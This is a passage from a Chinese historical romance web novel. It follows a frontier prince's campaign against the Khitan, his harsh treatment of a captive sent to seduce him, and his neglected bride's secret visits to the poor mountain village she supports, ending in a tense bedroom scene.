为了压服这群倚老卖老的军将,魏珩不但风里来雨里去,领兵亲征,下场杀敌,后背覆满纵横交错的刀疤箭伤,更是亲自拉那些父亲重用过的老将下马,提拔年轻士卒上位,培植新锐,以削弱旧将根基。 待军中安定后,魏珩又开始布局千秋帝业。 魏珩深知那位远在南廷的皇帝叔叔一心想夺回北地势力,若他割据北境,按兵不动,定是坐以待毙,早晚有一日会死在永昌帝的手中。 可魏珩冒进南下,又很可能被塞外虎视眈眈的契丹王庭侵入边城,伺机咬下一块血肉。 魏珩若想逐鹿中原,势必要先攘外再安内,免得日后腹背受敌,满盘皆输。 因此,在魏珩挥师南下,与永昌帝展开内战之前,他率先动用了一部分安.插.进契丹王庭多年的汉将细作,恶意挑拨契丹皇帝麾下的斡鲁朵骑军队伍,让那些野蛮的胡人与多年来一直获得优待的受降汉将生出嫌隙,频频内斗,从而滥杀将领。 汉将受欺,护不住麾下兵马。 他们在契丹王庭没了活路,又见魏珩厚待降将,心一横竟率士卒三千,重归北境。 十一月中旬,魏珩调动麾下旧部,随着这些熟识契丹军政的汉将,杀向藏匿草原深处的五部大族。 契丹人被打了个措手不及。 时值隆冬,粮食匮乏,塞外胡人本就想集结兵马,深入中原劫掠,哪知魏珩不按常理出牌,竟在他们囤积粮草准备开战的紧要时刻,发动突袭。 胡人准备不足,自是被魏珩打得节节败退,溃不成军。 几大部族为保族人牲畜,被迫后撤千里,退回草原腹地的王庭皇城。 此战大捷,魏珩见好就收,没有劳师远征,乘胜追击,以免浪费兵力。 但魏珩此战的骁勇,也足以令老可汗耶律辛心生警惕,不敢贸然入侵边城。 鏖战结束。 魏珩的寒光甲胄如浸血浴,在汹涌的战火映照下,涌动着油润的光泽。他的乌浓发丝也被那些血肉碎屑粘缠,黏连嶙峋喉骨,如同一条附着雪峰的漆黑山涧,远远瞧去,着实阴森可怖。 魏珩微微眯起冷目,远眺那些燃着汹涌烈火的营帐,判断局势。 他确定战事已平,顺手扬去剑上艳血,高声道:“军中诸将、医工听令!先救治伤员,再收拢溃兵,其余人随江老将军一同收缴敌营粮秣、辎重甲械,午时之前务必撤军,将粮车押回军营,不得延误恋战!违者杖刑五十,可明白?!” “末将明白!”王府的旧部家臣跟着魏珩南征北战数年,早知小王爷运筹帷幄,自不会阳奉阴违,贻误大局。 魏珩交代完战后诸事,又有江阳峰帮着领兵,便策马赶回檀州关外的军营休整养伤。 魏珩在外厮杀一场,足足几日不曾合眼,这般熬夜鏖战,就是铁打的人也撑不住。 他连夜回营,沐浴换衣,洗去通体血污,倒头就睡。 不等魏珩睡足时辰,夜半三更,他倏地嗅到了一味若有似无的牡丹浓香。 这是闺阁女子所用的香料,闻起来腻人得很,令人不快。 魏珩自梦中醒来,凤眸一瞥,居然看到帐外有个鬼祟徘徊的娇小身影。 魏珩的眉峰微蹙,信手抽出一柄削铁如泥的宝石匕首,以迅雷不及掩耳之势,朝那一抹漆黑的影子,猛掷而去! 匕首锋利,淬着夺目骇人的寒芒,径直破开羊皮帐篷,直刺入那一具血肉之躯。 一声凄厉惨烈的尖叫过后,一蓬腥浓的血液,就此泼上帐布,看着触目惊心。 魏珩闻声,脸色更沉,他利落地穿衣系带,阔步走出主帐。 十一月的北道,寒风凛冽,冰天雪地。 一名娇弱的胡女捂住不断渗血的肩头,抬起一双盈盈含泪的美目,用蹩脚的汉话唤着:“王、王爷息怒,奴名唤瑶姬,奉白将军的命令,前来服侍您。” 魏珩凉凉勾唇:“白宏南?” 白宏南正是前段时日领兵归降的汉将。 瑶姬连连点头:“正、正是……” 瑶姬是这两天受俘归降的女奴,她本为二王子的宠姬,因一张脸生得月貌花容,被入帐收缴军资的白宏南将军留下,献到主帐,意图让此女随军,侍奉魏珩。 她听说过这位北境亲王的威名,亦知魏珩兵马强盛,实为北道的无冕之王,可比那个麾下只有一千兵马,两千牛羊的二王子能耐多了。 若她有机会讨好这位北地霸主,日后岂不是吃香喝辣,能过上令人艳羡的富贵日子? 虽说魏珩瞧着幽冷,城府亦深不可测,让人无端端联想到绿洲里最阴毒的蛇……可他生得俊美无俦,伺候他总比伺候五官丑陋的二王子要好上千倍万倍。 瑶姬有意蛊惑魏珩,她故意趴伏雪地,勾下那一条缠在颈上的银珠带子,露出一片玉雪肩头。 瑶姬哭得我见犹怜,手指颤巍巍地示弱,爬向魏珩垂地的玄黑外袍,“王爷,你刺得奴好疼啊……” 不等她勾出魏珩怜香惜玉的心思,一只黑靴蓦然踩上那一把刺进她肩头的匕首。 魏珩足下用力,抵着刀柄,故意往下压了几分。 哧。 锐刃又破肉入骨,沉没一寸,顿时鲜血横流。 瑶姬被剧烈的痛感淹没,鼻尖也冒出了无数热汗。 这是活生生用刀子凌迟肉身,可比在二王子帐中挨鞭子要疼。 瑶姬惶恐不安,所有求饶卖乖的话语,统统窒闷喉头。 她难以置信地仰头,望向面前这个倨傲抬脚的可怖男人,娇弱求饶:“王、王爷……” 可魏珩无动于衷,他的力道半点不松。 瑶姬挨得越近,魏珩越是抬腿将她推远。 男人的目光清冷,不含情.欲,他不过将瑶姬当成一片随手可弃的枯叶,一撮不引人注意的尘埃,连一记多余的眼神都不会施与。 瑶姬匍匐于魏珩靴前,终是明白了他的冷漠无情,亦知自己触了魏珩的逆鳞。 她不敢再使坏勾人,牙关打颤,涕泪横流地道:“是、是奴僭越了,奴错了,您不要杀我……” 魏珩不悦地低头,看着那点溅上整洁衣袍的血星子,冷道:“趁我还未起杀心……滚!” “是……”瑶姬生怕被魏珩扒皮抽筋,又哪里还敢逗留,男人前脚刚松开,后脚她便屁滚尿流跑回了白宏南的帐篷,再不敢来魏珩的帐前搔首弄姿。 魏珩被人惊扰,没有睡够,心中不满。 他想:这些叛主的汉将果真留不得,在外好的不学,成天想着用耍滑手段媚主……看来得寻个机会将其斩草除根,免得日后惹出大祸。 天色灰蒙,魏珩不过睡了三个时辰。 他想回帐补觉,转身的瞬息,又莫名记起了一味经久不散的女子香。 不是瑶姬身上那股子催人作呕的牡丹气息。 而是山桃的野性果子香。 口味甜津津的,腻得发慌。 自沈青棠的小衣里徐徐渡来,萦绕他的鼻端…… 魏珩记起来了,他娶了妻,且在新婚夜将人抛下,一连二十多天没有回府。 正经夫妻,一月至少也要同宿三日。 这是王府的规矩,亦是魏珩给予沈青棠的体面。 魏珩摁了下青筋微跳的额角……他既娶了沈青棠,在他没有与她和离之前,合该以妻礼相待。 他得回府一趟。 思及此,魏珩给副官柳云舟留话:“本王回府两日,军中诸事,有劳你与江叔看顾一二。” 柳云舟连连摆手:“王爷说的什么话,下官身为粮官,本就该尽心竭力辅佐江老将军镇守军营,督理军务,不敢有失。” 魏珩颔首,他洗漱过后,又重新穿了一身鹿皮武袍,披上御风的黑毛狐氅,纵身上马,窜入茫茫无际的风雪夜里。 一路上,魏珩回想大婚夜的种种,心中渐生烦躁。 沈青棠独守空闺这么多天,她会不会心生怨怼,故意摆脸色给他瞧? 魏珩最厌女子啼哭……可沈青棠长于乡野,不谙世事,若她执意扯着他的衣袖落泪,他怕是会忍不住出手,将她丢出府外。 - 沈青棠是十一月初成的婚,如今二十多天过去,再有几日便是冬至。 冬至要办亚岁宴,要宴请北境四州的宾客来府上吃席,此等要紧的大事,姜氏自然全权负责,不会让新媳妇插手。 为了专心置办家宴,姜氏甚至免去了沈青棠的晨昏定省。 但姜氏忽然这么好心,并非怜惜沈青棠,实在是她太能站了。 一般高门里头出来的小娘子,站着伺候婆母一个时辰,就得累得哭爹喊娘,腰酸背痛。 可偏偏沈青棠没事人似的,一连站上三两个时辰也面不改色。 甚至还会盯着姜氏吃喝,随口问几句—— “母亲,那一碗洒满桂花蜜的甜汤是什么?” “母亲,这鸡汤熬得还挺好,一点油花不见,闻起来真香。” “母亲,这梨子怎么还能炖鸭呢?吃起来滋味好吧?” 但凡姜氏回答一句话,沈青棠就能露出一脸艳羡的可怜表情,对她悲伤叹气:“儿媳从未吃过呢,府上伙食真好啊……” 姜氏哪里见过眼皮底子浅到连一碗甜汤都馋嘴的小姑娘? 此言一出,即便姜氏再尖酸刻薄,也得在沈青棠伺候完早膳后,给她装上几碗汤盅带回寒香院。 一来二去,姜氏回过味来。 这哪里是她摆着婆婆的架子,给沈青棠立规矩,分明是给了儿媳妇一个登门骗吃骗喝的机会! 姜氏无计可施,私下问刘妈妈:“我怎么觉得……这丫头还挺乐意早起来望山堂请安的?每日站两三个时辰,她也吃得消?” “乡下人每日天没亮就得下地务农,王妃乡下出身,皮糙肉厚,自然和咱们闺阁养出来的淑女娘子不一样。” 刘妈妈想了许久,又支支吾吾地道,“上回我去寒香院催人,还听王妃和秀珠那丫头说呢,说什么杏酪官燕就别备了,她上太妃的院子里吃两口就是了,还说太妃院子里的燕窝,比公厨熬煮出来的还要滑嫩软糯,好吃得很。” “废话!这可是白燕产出的燕盏,乃宫中的贡品,千金难求,每月也就送来那么十多盏,我见她一副没见过世面的样子,自然匀她一份,可不给她吃美了?!” 姜氏气得倒仰,连连抚动胸口消气。 敢情人家半点没觉委屈,还成日上她的望山堂打秋风来了!这连吃带拿的,占尽了姜氏的便宜! 姜氏想到几日后还得置办家宴,肉疼地摆手:“罢了罢了,你去传我的话,就说这几日免了晨昏定省,让她老实待在屋里抄经,少来我跟前碍眼。” 刘妈妈帮着捶肩,附和道:“嗳,太妃明智,咱们不和乡下丫头一般见识。” - 沈青棠不必早起请安,乐得逍遥自在。 虽说望山堂那一盏红枣莲子燕窝汤的确好喝,可天寒地冻,她也更想在屋里头待着,少出去吹风受冻。 这天早上,沈青棠刚撩开暖意盎然的床帐,秀珠便抱着一根画轴,欢喜地钻进了屋子。 “王妃,您快起来,瞧瞧奴婢给您带什么来了!” 这些时日,沈青棠一旦从望山堂回来,就会将她带来的糕点汤品送来给秀珠品尝,早把小丫鬟贿赂得忠心耿耿,一门心思倒戈自家王妃。 沈青棠还仗义,吃不完的早膳拿出去分食,上至一等丫鬟秀珠,下至寒香院后罩房里的橘皮野猫都能分到一杯羹,自然收买了人心。 众人私下议论这位王妃的时候,再没有从前那般刻薄尖酸,偶尔还会帮沈青棠打抱不平,慨叹一句——“你瞧,自打新婚夜后,王爷再没回府。俏生生的小娘子独守空房,实在可怜……王妃也不容易。” 沈青棠洗漱穿衣,摊开秀珠抱来的画轴,欢喜一笑:“是我要的九九消寒图,秀珠你办事真牢靠!” 沈青棠把那一卷九九消寒图摊开,小心翼翼挂到临窗的墙上。 图上绘着一枝枝繁叶茂的梅花树,共有八十一片梅花瓣儿。冬至起,每过一日,就用胭脂涂抹花瓣,为其上色,如此捱过八十一天,梅花画满绯色,寒气渐消的暖春就来临了。 少时,沈父每年外出办事,将沈青棠留在寨子里守候。 临走之前,沈父都会外出顶风冒雪,买一卷九九消寒图,挂在黄泥堆砌的石墙,作为沈青棠的礼物。 “爹爹要出门办事,给咱们青青挣钱买糖吃。青青乖,你跟着许婆婆在家里等爹爹回来,好不好?等青青涂满这些梅花瓣儿,爹爹就到家了。” 沈青棠曾经以为,沈父外出匪寨,是像镇子里的年轻后生那样出去做活,赚钱养家。 直到父亲回家,次次带伤,还将一些衣衫褴褛的流民接回寨中,沈青棠才明白,原是每逢冬日,契丹王庭会集结兵马,入关扰边,烧杀劫掠。 沈父在护送商队回城的途中,也常常帮着边民百姓组建的杂兵队伍,一同御敌护城。 由于沈父御敌有功,赵王时常会派下银钱嘉奖这些草莽英雄,沈父带回家的钱财,便是由此得来的。 沈父接济的流民越来越多,匪寨的人数也从数十人变成了数百人。 在沈青棠眼中,那一座隐居山林的山寨,说是野蛮猖獗的匪寨,其实更像是一群无家可归、食不果腹的流民,为了生存,互相取暖,自发修葺筑造的一处乐土家园。 …… 沈青棠望着那一幅空落落的梅花图,指尖捏着一只装满嫣红脂膏的胭脂瓷盒,落寞地想:可父亲死了,她没有家了。无论她怎么涂满这一卷九九消寒图,她的爹爹都不会回来了。 5、第五章 第五章 这几日,赵王府筹办亚岁宴,忙得不可开交。 多年来,姜氏一直私下与亡故的嫡姐攀比,她为了掩盖庶女出身,证明自己是当之无愧的王府女主子,每逢待客的宴席,都会牟足了劲筹备,也好得北道世家大妇们一句“善司中馈、内治有方”的夸赞。 王府前厅喜气洋洋,奴仆们折下红梅、松柏枝子,插上盆景,点缀待客的厅堂;再往花厅的青砖铺上一层厚厚的绵羊地衣,“羊”通“阳”,如此便能取一句“三阳开泰”的吉祥话,为王府迎阳纳福。 前院忙碌,自然忽视了后院。 好几次,公灶的厨子做菜的手脚慢了,端到寒香院的饭菜都变得温凉,鸡汤也浮了一层油星子,还得秀珠自己端炉子加热,方能摆到花厅的桌上,供沈青棠食用。 送膳的扫洒丫鬟阿秋嘟囔:“秀珠姐姐,隆冬天寒,王妃成日吃冷食,万一伤着脾胃怎么办?” 饭菜都是用的上等食材,熬汤的火候也很好。 只是冬天最忌冷食,冷食入肚容易不克化,有伤脾胃,怕是会吃坏肚子。 这是宅门里的软刀子,偏偏主人家还拿那些仆妇们没办法。 可这等阴私手段也好解决,只要给公灶那头送点“孝敬油水”,人家自然殷殷勤勤帮你办妥,保管你顿顿都能吃上热腾腾的饭菜。 奈何沈青棠是乡下农女,手头紧,不懂这些高门大院的规矩,拿不出贿赂送食仆妇的打赏。 加之她不得魏珩宠爱,又遭婆母嫌弃,自然连个帮她出头的人都没有。 秀珠想到魏珩在外忙碌,已经二十多天没回寒香院,不免忧心忡忡……倘若沈青棠能有个傍身的子嗣就好了,有子女撑腰,在王府扎下根,那些吃里扒外的刁奴就不敢这样怠慢王妃。 秀珠为沈青棠的前途担忧,可沈青棠却喜欢这种“被人冷待”的日子,夜里换衣爬墙出府,也就没那么多双眼睛盯着她。 深夜时分,沈青棠谎称睡下,实则穿好一身夜行衣,攀上墙沿,自后院那棵伸到墙外的柿子树,跃出府外。 沈青棠草草换过外衫,又把藏衣的包袱藏到王府后巷,随后钻进市井街巷,租了一匹快马,直奔远郊荒山。 山中雪淞垂枝,呵气成霜。 沈青棠远远看到几处屋舍,脸上的笑容渐盛。 她翻身下马,跺了跺冻僵的脚,快步上前,拍动紧闭的门板,“许婆婆,是我,青青!” 片刻,屋内掌灯,瞎了一只眼的许婆婆拉开房门,看到满头覆雪的傻丫头,眼眶顿时红了,“青青,你怎么来了?” 许婆婆心疼地拉小姑娘进门,又伸出枯槁的手,上上下下摸她的眉眼,帮她扫去那些湿泞泞的霜雪。 沈青棠知道婆婆患有雀目,夜里看不清,只能用干瘪瘪的手指,一遍遍触摸她的颊骨,也好知道她胖了瘦了,日子过得好不好。 沈青棠一面任许婆婆捏脸,一面抱怨:“不是给您买了一箱子白蜡吗?怎么舍不得用?夜里熬坏了眼睛可怎么办?” 沈青棠知道,许婆婆节俭,舍不得花销,直接给她钱,她定会一分一厘攒起来,因此每次来探望许婆婆,沈青棠都是直接带东西,不是御寒的冬衣、被衾,就是照明的白蜡、菜籽油。 许婆婆知她脸颊柔软,还长了肉,心中欢喜,想来赵王府的饭食很好,将小丫头养得白白胖胖。 沈青棠还没来得及说话,屋里头便传来一声疑惑的嗓音:“青青姐?” 很快,帘布挑起,一名身穿青色长衫的清俊少年,掌着烛灯,走向沈青棠。 这是许婆婆的孙子许砚,也是和沈青棠自小一起长大的邻家弟弟。 沈青棠眼睛一亮,笑着喊:“阿砚?你这两天没在书院念书?” 许砚:“再有两日是冬至,山长允学子们回家住几天。” 许婆婆见孙子出来,笑道:“你们姐弟两人叙旧,阿婆去熬一锅鸡汤,也好给你们两个娃娃补身子。” 沈青棠:“婆婆,你那只母鸡不是留着下蛋么?怎好宰了炖汤?” “哎呦,你别管了,就当是给阿砚补补,一并坐下吃吧!”许婆婆的性子拧得很,她执意要招待沈青棠,便不允小姑娘推拒。 沈青棠没有再说什么,左不过一只老母鸡,宰了再买便是,老人家舍不得吃大鱼大肉,连个鸡蛋都要省下给小辈们吃,今晚杀鸡还能哄许婆婆喝点鸡汤。 许婆婆去院子抓鸡,屋内仅剩下沈青棠、许砚二人。 许砚比沈青棠小上一岁,少时又生得瘦小,性子内向腼腆,在寨子里常被同龄人欺负,一直是沈青棠罩着他长大的。 沈青棠许久不见许砚,稀奇地打量他两眼,又打开随身携带的包袱,从中拿出一包枣糕,递过去:“阿砚,我记得你爱吃枣泥制的糕点,快尝尝。这可是王府的点心,就是放了一日,糯米皮子变硬,咬起来费牙。” 许砚食不知味,他忍了一会儿,问沈青棠:“青青姐……你如今在王府的日子好吗?” 沈青棠大婚那天,许砚在外读书,没能参宴,可那些喜饼、喜蛋、糖塔,他还是吃着了。 赵王府出手阔绰,装喜饼的箱子都是用鸡翅木打的,还给沈家的旧故亲朋们送去百来抬饴糖糕饼。 沈青棠掰开枣糕,递给许砚一半,“我过得很好啊!你知道的,小王爷生得高大威猛,英俊潇洒,还学富五车,是北道世家女子的梦中情人,能嫁给这样一号人物,我能过得不好吗?” 沈青棠无意多聊魏珩,她打哈哈跳过话题,又语重心长地问:“阿砚,你日常花销的银子够吗?今年的束脩交了吗?许叔生前叮嘱你要好好读书,你可不能辜负许叔的期望,咱们是山匪出身,素来被人瞧不起,可读书人不一样,走出门都能抬得起头,也受人倚重……” 许叔是沈父的左膀右臂,此前在抗戎的御敌之战中受伤,不治身亡。 临死前,许叔拉过许砚,叮嘱他定要去书院读书,应举赴试,考取功名。 即便读书读不出个名堂,多识一些字也是好的,还能上铺子里给人当账房先生。 许砚垂下眼睛:“青青姐,我想从戎……” 北道战事频繁,武将升官最快。 许砚深知,沈父之所以将沈青棠嫁到王府,也是怕她孤身在外,世上无人能护她。 若是许砚早日独当一面,那他就能护住沈青棠了。 闻言,沈青棠蹙紧柳眉:“不可,你忘记许叔是怎么死的?许家唯有你这么一条血脉,你可不能犯浑。你听话,乖乖读书入仕,考个功名,若是考上秀才,日后还能去书院应聘先生,帮稚童开蒙。即便没考上,也有旁的出路,做账房先生啊,给人写信抄经,哪样都比下地务农轻松……” 沈青棠其实很想成全许砚,只是她到底不是许砚的亲姐姐,越俎代庖管教许砚,只怕许叔在地底下都不能瞑目,夜里会托梦骂她。 今夜又是不欢而散,许砚抱着一盅鸡汤,负气回了书院。 屋里头,许婆婆和沈青棠坐着闲聊。 许婆婆把锅里的鸡腿夹给沈青棠,沈青棠投桃报李,知道许婆婆爱吃下水,也把软嫩的鸡肝、鸡心,夹到了许婆婆的碗里。 沈父疼爱孩子,阿婆也关照小辈,从小到大,只要寨子里哪户人家炖鸡,锅里的一只鸡腿总会留给沈青棠。 看着碗里的那只鸡腿,沈青棠想到了父亲。 “婆婆,我带了二百两银子,你拿去分给张婶子、赵婆婆他们……我记得王叔的腿疾未愈,每年都会犯病吧?你让他别省那些药钱,治好了腿疾才是正经。” 这些叔叔伯伯都是陪她父亲出生入死的兄弟,如今沈父离世,沈青棠自然要学着沈父的模样,担起山寨少主的职责,照看这些匪寨的妇孺老人。 “这才十一月,雪就这般大了,等腊月还不知要如何冷。柴薪炭火不要省,被褥冬衣也买一些,快过年了,孩子们总得吃口饴糖吧?钱花完了还能再赚,不要苦着小孩子嘛。” 许婆婆叹气:“青青,你虽嫁到王府,可那些大户人家向来看不起庶民百姓,我听说府上门道多,还得打点丫鬟婆子,才能有好日子过,你的手里还是得留点银钱,莫要傻乎乎的全给了我们。” 许婆婆心疼沈青棠,不过是个十七八岁的小姑娘,何必担起养寨子的职责。 况且,他们都是一群半身入土的老人,糙米腌菜就能度日,哪里要米肉厚衾这般精养。 为难了小娃娃,倒教沈青棠手头拮据,让夫家看不起。 沈青棠知道许婆婆一心为自己打算,她抹了抹眼角的泪花,笑说:“能养着婆婆叔婶,我心里高兴呢。爹爹不在了,身边也就只有婆婆们了。而且王府没什么妯娌,每个月还派下二百两的月钱,花都花不完。实在没钱,我也不会送来,婆婆且放心吧。” …… 探望完许婆婆,沈青棠又去了一趟沈父的坟丘。 沈青棠给沈父带了几块挑拣出来的肥美鸡肉、一壶烧酒,她盘腿坐在坟前,笑着抱怨:“爹爹,你的命好短啊,要是你还活着就好了。这样一来,我在外受欺负了,也能有个回去的地方……” 沈青棠的笑容渐渐落下去,她瘪着嘴,像个无论如何哭闹都讨不到糖果的小姑娘:“爹爹,青青想你了。” 沈青棠赶回王府的时候,已是夜半三更。 本该万籁俱寂的王府,不知为何竟亮起一重重火光,公灶燃起白烟,竟还有仆妇在里头烧水,远处隐隐传来隆隆的马蹄声。 这般盛大的阵仗,沈青棠再傻也知,是魏珩回府了! 他都外出一个月,怎么忽然想到回府了? 沈青棠大惊失色,她忙翻墙入院,钻进那一扇支起透风的雕花窗户。 而此时,房门外嘈杂,男人凛冽迫人的嗓音骤然响起——“王妃已经睡下了?” 秀珠见到王爷回府,声音难掩激动:“是……王妃睡得早,每每戌时就睡下了。” 说完,秀珠又觉得机会难得,她有意帮沈青棠邀宠,还叹气道:“王妃惦念王爷在外辛劳,时常与奴婢们提及王爷,有时还会望着军所的方向出神,只盼着王爷能平安回府。” 闻言,魏珩轻扯了下唇角,微微一哂。 说得倒不像假话,要是沈青棠不喜他,也不会新婚夜胆大妄为拉着他的衣袖,央着他行房。 到底是魏珩理亏,冷待新妻,还是前去探望沈青棠一番较好。 而屋内的沈青棠,被秀珠一番话吓出了一身冷汗。 天爷,她什么时候盼着魏珩回府了?! 可重点不是这个,重点是沈青棠身上的夜行服未褪,她的寝裙还在屏风上挂着,根本来不及更换。 想到这里,沈青棠面如死灰,久久无言。 魏珩的脚步声渐近,催命符似的,敲在人的心上。 沈青棠冷汗直冒,她心一横,直接拔去簪发的竹骨簪子,任凌乱发丝披散双肩,再褪去身上的男子衣袍,塞到罗帐中。 自此,她的身上仅剩下一件单薄的裹腹小衣。 偏偏魏珩的步履渐近,沈青棠无奈,只能赶在魏珩进屋之前,匆匆忙忙钻进锦被。 待魏珩迈开长腿,掌灯入内,便见沈青棠乌发披身,卷着被衾,龟缩床榻一角。 “王、王爷……” 烛台爆花,发出刺啦一声锐响。 沈青棠也娇软抬头,怯怯唤他一声,嗓音里带着做贼心虚的颤。 沈青棠生怕魏珩发现那一身沾了泥的夜行衣,也怕他从她的脸上瞧出什么外出的端倪,不敢看他的眼睛。 可沈青棠不知的是,魏珩从未想过一个胆怯的乡下小姑娘,能胆大妄为到出府闲逛。 他低眸瞥去一眼。 只见沈青棠不知做了什么,呼吸急促,气喘吁吁。 身上的雪水被屋内热气儿消融,蓄成了一串串晶莹剔透的水珠。发丝沾了雨露,湿淋淋地黏在颈侧,像几条蜷身的黑蛇。 女孩的衣袍尽褪,寝裙也挂在屏风。 她的双肩赤.裸,没有穿着外衫。 丰腴的肩头,因跑马太累,泛起红润的桃色,还染着涟涟水光。 这一副“含羞带臊”的娇态,很难不引人遐想,生出误会…… 魏珩薄唇微抿,他微微眯起幽冷的凤眸,明白自己撞破了何事。 沈青棠胆大妄为,她竟敢背着人,在屋中低吟他的名字,取他的玄色衣袍嗅闻…… 以此抚慰,聊解相思之苦。 魏珩掠去一眼,眼风凛冽。 如此轻佻放荡,不成体统。 到底是明媒正娶的王妃,魏珩给沈青棠留了几分颜面。 “我去沐浴换衣,夜里留宿于此。” 魏珩顿了顿,又凉飕飕地道,“沈青棠,我不喜床榻脏污……记得收拾干净。” 6、第六章 第六章 待魏珩走出寝房,那种如山倾覆的压迫感才消散无踪。 沈青棠颓下紧绷的肩背,松开紧攥的被衾,掌心沁满一片温热湿汗。 沈青棠不敢有片刻耽搁,她匆匆忙忙下榻,把那些脏污的窄袖黑袍塞进包袱,压到箱笼最底下,再取出一套干净簇新的水天碧被罩床单,重新替换上拔步床。 许是沈青棠做贼心虚,一时之间竟忘记喊秀珠进屋帮忙,等秀珠送来败火的枸杞梨汤,沈青棠已经整理好了寝具。 沈青棠没有留丫鬟守夜的习惯,平日都让秀珠回自个儿院子睡。 可今晚魏珩回府,寒香院需要奴仆留在相邻的暖阁值房,也好方便主人家叫水送膳。 沈青棠从秀珠揶揄的神情里,看懂了她的殷殷期盼。 秀珠不止一次旁敲侧击,暗示沈青棠一定要把握机会,生下一男半女,在赵王府站稳脚跟。 就连罗嬷嬷也常常带着郎中过来给沈青棠诊脉,盼着她调养身子,早日为赵王府开枝散叶。 正所谓“小别胜新婚”,魏珩旷了近乎一月,保不准今晚小夫妻会多多亲热,自然要留人在外守着,以防主子叫水擦身又寻不到人。 沈青棠从前在寨子里养过牛羊,深知家畜配.种之法,要选发.情的秋季,还要选体壮的公羊……魏珩这头种羊离栏这般久,好不容易回一趟家,可不得使劲儿薅点好处? 沈青棠对怀胎生子一事倒不抵触,她既嫁给魏珩,便有这样的准备,她也喜欢孩子,想要有一个血脉相连的家人。 沈青棠害怕魏珩,无非是他房事上粗暴狂放,一点都不温柔。 沈青棠借着屋里留的浴桶,潦草擦身,换过一件熏过香的粉桃抱枝纹菱形小衣肚兜,再穿上姚黄寝裙,将自己裹得严严实实,钻进罗帐。 沈青棠躺在床榻的里侧,拉高那条镶了一圈雪白狐毛的柔软绸衾,掩在尖尖下巴,只露出一张檀红小嘴、一点琼鼻、一双汪亮的圆眼,像极了既娇又媚的山狐狸。 一刻钟后,魏珩回房。 拉开房门的瞬间,沈青棠嗅到一味沉涩清幽的雪松气息。 冷冽的香气使人神清目明,待香气渐近,沈青棠才知,这是魏珩袖腕渡来的雅香。 这个人连那一味“多年熏染、浸透肌骨”的体香都这般寒戾,极具骇人的强烈攻击性。 沈青棠抬眸望去,正巧迎上了魏珩那双不善的冷目。 她打了个哆嗦,像是柔弱的山兽遇到精明的猎人一般,本能生出深切的敬畏。 她不敢看他的眼睛,刻意避开,可视线朝下,又看到了不该看的东西…… 魏珩明明是在外驰骋沙场的武夫,偏偏皮肤白如温玉,一点没有晒黑,如今洗过身子,胸膛沾了一重丰盈水丝,又泛着莹润如蜜的光泽,如暖玉一般,很是诱人。 他好似不喜拢住衣襟,大大方方地敞开,袒露那一片凝水的坚实腹肌。 沈青棠算半个习武之人,她很擅长弓马,会点拳法,也知这样块垒分明的肌理,光是担石举鼎可练不出来。 沈青棠的脑袋发懵,下意识数了数,不知他有六块还是八块腹肌。 总之有那么一部分,被扎紧了的亵裤遮掩严实,只能透过裤线,影影绰绰看到一些沟壑分明的肌理线条。 而魏珩长身玉立,凌乱发尾的水珠未曾擦干,沿着胸膛不住滴落,渗入雪色的寝裤,如同饱蘸墨汁的丹青峰峦,将最底下那处又勾勒出一点血脉偾张的起势。 除了腹肌,竟还有其他事物。 新婚夜里,沈青棠与魏珩敦伦,尝过人事,只消一眼便知道那是何物。 有棱有角的,和避火图上绘的不大一样。尺寸太惊人了些,难怪令她这般畏惧。 “你在看什么?”魏珩的嗓音冰冷,一双深邃寒目凝于沈青棠脸上,带着耐人寻味的审视。他的语气实在称不上好,甚至有怪罪沈青棠冒昧的意思在内。 “没、没什么……”沈青棠心惊胆战,急忙垂眼摇头,不敢肆意招惹魏珩。 沈青棠乖乖往床榻里侧挪,给魏珩让了一个空位。 没一会儿,被衾掀开,床铺下陷,那股浓烈的雪松气息渐渐逼近,是魏珩躺到了沈青棠的身边。 这是沈青棠头一次与旁人同床共枕,她有点不适应,全身紧绷,不敢动弹。 可她越紧张,听觉便愈发敏锐,甚至能听到魏珩清晰的呼吸声,以及细微的衣布摩挲声。 沈青棠满脑子胡思乱想,手指紧绞,她以为魏珩会兽.性大发,拿她解.欲,如同新婚夜一般。 可他一动不动,只闭目养神,浑身散发着拒人于千里之外的疏离淡漠,好似一尊不容人亵渎的神像,倒让沈青棠颇为奇怪。 难不成,他也知道自己那日太过凶恶,令她不喜? 沈青棠没想明白,便也作罢。 既然魏珩夜里不欲行房,沈青棠也打算睡下了。 只是沈青棠夜里跑马吹风,刚要睡着,嗓子眼莫名发痒,催得她轻轻咳嗽一声。 沈青棠不想吵到魏珩休息,她伸手捂嘴,抑住了那点骚动。 可咳嗽越忍越烈,即便手掌作隔,还是咳得沈青棠胸腔嗡嗡作响,眼眶含泪。 仿佛为了让魏珩得一夜好眠,小姑娘忍辱负重,受了天大的委屈。 魏珩听得心烦意乱,睁开一双寒目,凉声道:“喝水润喉。” 沈青棠也知自己吵到夫婿休息,不敢再犟,她顺从地爬起身,跨过魏珩,摸黑下地找水喝。 沈青棠端起解燥的梨汤,润过喉咙。 咳嗽声渐消。 她感到舒适许多,再度爬回榻上。 沈青棠没有和男人同床共枕的经验,亦不知魏珩的膝腿这般修长健硕,硬得跟石头似的。 上床时,她一时眼拙没看清,竟不慎磕碰到魏珩,被他一绊,就此滑跪到他的身上。 “嘶……”沈青棠手足无措。 倒下的瞬间,她的唇齿擦过魏珩的下颌,抵住了他的脖颈。 月光透入窗扉,满地都是粼粼银光。 魏珩的颈子皮肉泛起象牙般的雪白光泽,薄肤底下滚着一颗犹如玉珠子似的坚硬喉结。 那一枚喉骨软肋,此时正受制于人,被沈青棠微张的红唇,抿入其中。 这是沈青棠第一次与男子亲密接触…… 她从未吻过,或是触碰过男人。 就连上次新婚夜,她的唇瓣也没有舔.吮过魏珩,只是咬着自己的手掌,竭力承受那点冲犯,再将整张脸都埋进厚厚实实的被褥之中。 可现在……魏珩的命脉就掌控在她的口中。 沈青棠虚虚含着那半枚喉结,没敢下嘴撕咬,这般张着嘴,反倒让齿根泛酸,好似衔着一颗涩口酸梅,舌底的唾津都要被他酸得翻涌上来,充斥唇腔。 气氛既暧昧又旖旎。 沈青棠不生淫.欲,满脑子唯有那天对于新婚夜的愤懑…… 她甚至觉得自己抓住了最好的复仇时机,能趁此机会装傻一番,报复魏珩。 沈青棠其实不算那么良善,她一贯秉持着“人不犯我我不犯人”的原则,是魏珩先欺负她的,那她欺负回来当然合情合理。 思及至此,沈青棠故意恶念深重地下嘴,用齿关既轻又重地磨了下。 不过一点触碰,竟惹得魏珩鼻息顷刻窒住,眼中暗潮汹涌,风雨欲来。 沈青棠倏地愣住。 